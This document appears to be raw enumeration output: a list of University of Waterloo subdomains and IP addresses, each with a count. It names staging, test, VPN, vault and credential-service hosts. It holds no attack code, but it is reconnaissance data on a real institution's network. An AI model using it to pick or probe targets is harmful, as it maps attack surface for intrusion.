datastream.sci.uwaterloo.ca 1 cscircles.cemc.uwaterloo.ca 1 imagine.uwaterloo.ca 1 scion-stage.uwaterloo.ca 1 leung.uwaterloo.ca 1 envmon.uwaterloo.ca 1 virt.sci.uwaterloo.ca 1 repo.math.uwaterloo.ca 1 www.core.uwaterloo.ca 1 cemc1.uwaterloo.ca 2 repo-p02.math.uwaterloo.ca 1 syn.uwaterloo.ca 3 esg-reporting.uwaterloo.ca 1 fass.uwaterloo.ca 1 ldir.sci.uwaterloo.ca 1 iwarrior.uwaterloo.ca 1 collections-stage.sci.uwaterloo.ca 1 deliberarts.pandora.cs.uwaterloo.ca 7 review.rcs.uwaterloo.ca 1 hiam.uwaterloo.ca 1 www.ace.uwaterloo.ca 1 engconnect.uwaterloo.ca 1 cemclinux11.math.uwaterloo.ca 1 nextcloud.watgamer.uwaterloo.ca 1 datastream-db.sci.uwaterloo.ca 1 scibase-stage.uwaterloo.ca 1 kleinke.uwaterloo.ca 1 softeng.uwaterloo.ca 3 qc.uwaterloo.ca 3 ripple.uwaterloo.ca 3 scibase.uwaterloo.ca 1 watform.uwaterloo.ca 3 inventory.math.uwaterloo.ca 3 scicom.uwaterloo.ca 3 www.scg.uwaterloo.ca 3 se.uwaterloo.ca 3 cfm.uwaterloo.ca 3 userver.uwaterloo.ca 3 compstats.uwaterloo.ca 3 epad.uwaterloo.ca 3 icr.uwaterloo.ca 3 nextcloud-test.cscf.uwaterloo.ca 3 booked.cs.uwaterloo.ca 3 wwwtest5.cs.uwaterloo.ca 3 icse2019.cs.uwaterloo.ca 3 rboutaba.cs.uwaterloo.ca 3 chil.uwaterloo.ca 3 algcomp.uwaterloo.ca 3 andromeda-proxy.cs.uwaterloo.ca 3 neurocog.uwaterloo.ca 3 upscope.uwaterloo.ca 3 exii.cs.uwaterloo.ca 3 www.student.cs.uwaterloo.ca 3 wasl.uwaterloo.ca 3 rgw.cs.uwaterloo.ca 3 vpn.cs.uwaterloo.ca 3 wwwtest3.cs.uwaterloo.ca 3 staging-crysp.uwaterloo.ca 3 www.swag.uwaterloo.ca 3 uclp.uwaterloo.ca 3 charisma2010.uwaterloo.ca 3 mc.uwaterloo.ca 3 cswiki.uwaterloo.ca 3 diffbase.uwaterloo.ca 1 hi.uwaterloo.ca 3 nextcloud.cs.uwaterloo.ca 3 cgl.uwaterloo.ca 3 wwwtest.student.cs.uwaterloo.ca 3 vision.cs.uwaterloo.ca 3 rebels.cs.uwaterloo.ca 3 cpi.uwaterloo.ca 3 haproxy-2404.cs.uwaterloo.ca 3 crysp.uwaterloo.ca 3 cs.uwaterloo.ca 3 www.cs.uwaterloo.ca 3 student.cs.uwaterloo.ca 3 minio-eet-console.esg.uwaterloo.ca 1 minio-console.esg.uwaterloo.ca 1 bernath.uwaterloo.ca 1 absent.uwaterloo.ca 3 vault.sci.uwaterloo.ca 1 absence.uwaterloo.ca 3 fast.uwaterloo.ca 1 doxey.uwaterloo.ca 1 testcreator.sci.uwaterloo.ca 1 esg.uwaterloo.ca 1 dschipper.uwaterloo.ca 1 watlab.uwaterloo.ca 1 cemc1.math.uwaterloo.ca 2 vert.csclub.uwaterloo.ca 1 smithgroup.uwaterloo.ca 1 cookiemonster.fast.uwaterloo.ca 3 orcid-test.sci.uwaterloo.ca 1 disciple-stage.uwaterloo.ca 3 d2l-api-cred.fast.uwaterloo.ca 3 oat-stage.uwaterloo.ca 3 checkvpn.uwaterloo.ca 3 scinage.uwaterloo.ca 3 dbswamp-api.fast.uwaterloo.ca 3 pathfams.uwaterloo.ca 1 qiti.iqc.uwaterloo.ca 1 reports.data.uwaterloo.ca 1 pubtest.acmetest.uwaterloo.ca 1 cn220-gw.cs.uwaterloo.ca 1 files.csclub.uwaterloo.ca 3 math.uwaterloo.ca 1 www.student.math.uwaterloo.ca 1 student.math.uwaterloo.ca 1 www.math.uwaterloo.ca 1 sas.uwaterloo.ca 1 links.uwaterloo.ca 1 cacr.uwaterloo.ca 1 psychsoc.uwaterloo.ca 3 capsi.uwaterloo.ca 3 aceserver.uwaterloo.ca 1 wim.math.uwaterloo.ca 1 mcgen.uwaterloo.ca 1 mcgen-p01.uwaterloo.ca 1 himrod-reserve.cs.uwaterloo.ca 1 pass.csclub.uwaterloo.ca 1 asianwisdom.uwaterloo.ca 1 phylocorrelate.uwaterloo.ca 1 ness.uwaterloo.ca 3 gosling.uwaterloo.ca 1 cantus.uwaterloo.ca 1 doingcriticalracetheory.uwaterloo.ca 1 status.uwaterloo.ca 7 salt.math.uwaterloo.ca 0 wisdomsummit.uwaterloo.ca 1 koios.cs.uwaterloo.ca 0 crowdeeg.cs.uwaterloo.ca 1 nsbe.uwaterloo.ca 0 qr.sci.uwaterloo.ca 1 subjectguides.uwaterloo.ca 3 uwcbc.uwaterloo.ca 0 ace.uwaterloo.ca 1 www.engsoc.uwaterloo.ca 0 00-ssh-api.augi.cs.uwaterloo.ca 1 www.rcs.uwaterloo.ca 1 findoutmore.uwaterloo.ca 1 libanswers.uwaterloo.ca 3 rcs.uwaterloo.ca 1 vip.uwaterloo.ca 0 cs350.rcs.uwaterloo.ca 1 git.csclub.uwaterloo.ca 3 mathnews.uwaterloo.ca 0 grossman.uwaterloo.ca 1 cforall.uwaterloo.ca 1 wiki.csclub.uwaterloo.ca 3 cormack.uwaterloo.ca 1 markbox-stage.uwaterloo.ca 1 ingress-01-prod.sci.uwaterloo.ca 1 www.graphics.uwaterloo.ca 1 ibmb.uwaterloo.ca 1 www.ibmb.uwaterloo.ca 1 ic3.uwaterloo.ca 1 www.ic3.uwaterloo.ca 1 helpdesk.uwaterloo.ca 1 housing.uwaterloo.ca 1 www.housing.uwaterloo.ca 1 healthservices.uwaterloo.ca 1 www.healthservices.uwaterloo.ca 1 hci.uwaterloo.ca 1 health.uwaterloo.ca 1 collections.sci.uwaterloo.ca 1 wiseminds.uwaterloo.ca 1 metrics.cscf.uwaterloo.ca 1 robohub.eng.uwaterloo.ca 3 uwaterloo.ca 15 warriors.uwaterloo.ca 0 www.varsity.uwaterloo.ca 0 campusrec.uwaterloo.ca 0 www.campusrec.uwaterloo.ca 0 varsity.uwaterloo.ca 0 athletics.uwaterloo.ca 0 ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca 8 games.uwaterloo.ca 1 core.uwaterloo.ca 3 shiny-stage.math.uwaterloo.ca 1 photos.csclub.uwaterloo.ca 1 andromeda-208.cs.uwaterloo.ca 1 online.cs.uwaterloo.ca 1 darth.cs.uwaterloo.ca 1 syllabus.uwaterloo.ca 3
129.97.167.168 98 129.97.222.96 56 129.97.128.216 30 129.97.50.135 17 129.97.222.20 16 129.97.206.21 16 129.97.134.17 15 129.97.179.11 12 2620:101:f000:1003:250:56ff:fe9b:34d3 12 129.97.140.196 10 129.97.186.80 8 35.193.113.52 6 129.97.7.167 6 72.32.236.26 6 129.97.92.155 4 129.97.50.139 4 52.233.38.143 4 129.97.75.8 4 129.97.206.39 4 35.182.192.50 4 129.97.134.33 4 2620:101:f000:4901:c5c:0:caff:e12e 4 129.97.206.32 4 129.97.152.225 3 129.97.134.246 3 129.97.222.16 3 129.97.134.112 3 129.97.77.79 2 129.97.167.159 2 129.97.75.26 2 129.97.25.190 2 129.97.167.179 2 129.97.242.207 2 129.97.75.18 2 129.97.83.52 2 129.97.75.25 2 129.97.129.4 2 2620:101:f000:8803:ca60:ff:fed9:9344 2 129.97.206.16 2 129.97.152.19 2 129.97.74.46 2 129.97.152.229 2 129.97.208.28 2 129.97.152.215 2 129.97.83.99 2 129.97.222.91 2 129.97.193.8 2 129.97.7.78 2 129.97.128.150 2 129.97.7.142 2 129.97.222.28 2 129.97.152.6 2 129.97.222.4 2 129.97.152.208 2 129.97.105.62 2 129.97.28.37 2 129.97.208.39 2 129.97.85.48 2 129.97.26.17 2 129.97.91.15 2 129.97.73.140 2 35.182.7.52 1 151.101.66.132 1 2a04:4e42:400::645 1 151.101.2.132 1 18.173.187.3 1 18.173.187.67 1 18.173.187.33 1 18.173.187.98 1 129.97.206.23 1 129.97.152.9 1 2a04:4e42:200::645 1 35.183.221.217 1 52.60.177.45 1 151.101.130.132 1 2a04:4e42::645 1 52.60.194.208 1 129.97.134.49 1 2620:101:f000:4901:c5c::112 1 151.101.194.132 1 151.101.194.133 1 151.101.2.133 1 151.101.66.133 1 151.101.130.133 1 2a04:4e42:600::645 1 129.97.167.73 1 129.97.83.58 1 129.97.140.65 1 129.97.71.15 1 129.97.74.15 1 129.97.28.42 1 162.144.153.140 1 2620:101:f000:4901:c5c:3eb:0:49 1 129.97.208.33 1 129.97.112.243 1 129.97.193.45 1